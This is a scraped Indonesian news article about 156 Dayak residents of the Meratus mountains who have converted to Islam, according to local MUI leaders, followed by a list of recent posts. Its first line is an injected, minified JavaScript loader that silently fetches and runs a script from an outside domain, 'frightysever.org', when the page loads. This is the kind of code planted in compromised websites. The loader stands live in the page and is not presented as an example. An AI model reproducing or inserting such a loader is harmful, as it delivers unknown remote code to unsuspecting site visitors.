(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

156 Warga Dayak Paramasan Pegunungan Meratus Kini Memeluk Agama Islam


MARTAPURA, Ketua Majelis Ulama Indonesia (MUI) Kecamatan Loksado Kabupaten Hulu Sungai Selatan, Mahydi Nuri dan Ketua MUI Kecamatan Paramasan, Kabupaten Banjar, Syahwani SH mengakui belakangan ini kian banyak warga pedalaman di Geunungan Meratus yang memeluk agama Islam.

“Alhamdulillah kian banyak saja warga Dayak pedalaman yang memperoleh hidayah dan memeluk agama Islam,” kata mereka berdua, saat acara peringatan tahun baru Islam yang dipusatkan di Desa Paramasan Bawah, Kabupaten Banjar, Kamis (12/9) dilansir antaranews.com.

Dalam acara tahun baru Islam tersebut, di Desa Paramasan Bawah digelar berbagai lomba untuk para mualaf diantaranya lomba azan, lomba membaca dua kalimah syahadat beserta artinya, serta lomba mengapa alasan masuk Islam.

Acara puncak dihadiri oleh yayasan Dangsanak yang diketuai oleh Prof Akhmad Fauzi Asri, MA, sebuah yayasan yang ikut membina warga mualaf di kawasan tersebut, serta dihadiri oleh Baznas Kalsel.

Menurut Ketua MUI Loksado ketertarikan warga pedalaman yang sebelumnya masih menganut kepercayaan kaharingan tersebut untuk masuk Islam karena banyak persamaan kegiatan. Dalam Islam kan banyak kegiatan yang mengumpulkan orang banyak seperti pengajian, acara mauludan, acara haulan, acara membaca manakip, dan kegiatan aruhan lainnya.

Sementara kegiatan aruhan juga banyak dilakukan oleh warga pedalaman, sehingga mereka tertarik masuk Islam, kata Mahyudi Nuri. Untuk pembinaan warga pedalaman tersebut MUI Loksado menerjukan 16 dai yang masuk kampung keluar kampung, melakukan pembinaan umat.

Sementara Ketua MUI Paramasan Bawah, Syahwani menyebutkan dalam tahun-tahun terakhir sebanyak 156 warga pedalaman yang masuk Islam, dan masih banyak yang akan menyusul.

Oleh karena itu, di desa Paramasan Bawah dilakukan pengajian rutin setiap minggu, yang dihadiri ratusan orang dan sebagian besar para mualaf tersebut.

Menurut Syahwani di kawasannya sekarang memang masih dominan non muslim seperti kepercayaan Haraingan, namun dalam perbandingan jumlah penduduk yang beragama Islam selisih sedikit saja atau seratusan orang dibandingkan dengan warga agama lain, yakni Kaharingan dan budha, dan Kristen.(ant)

Reporter : Ant
Editor : Cell

 


Desy Arfianty

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

3 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

5 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

6 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

6 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

8 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

8 jam ago

This website uses cookies.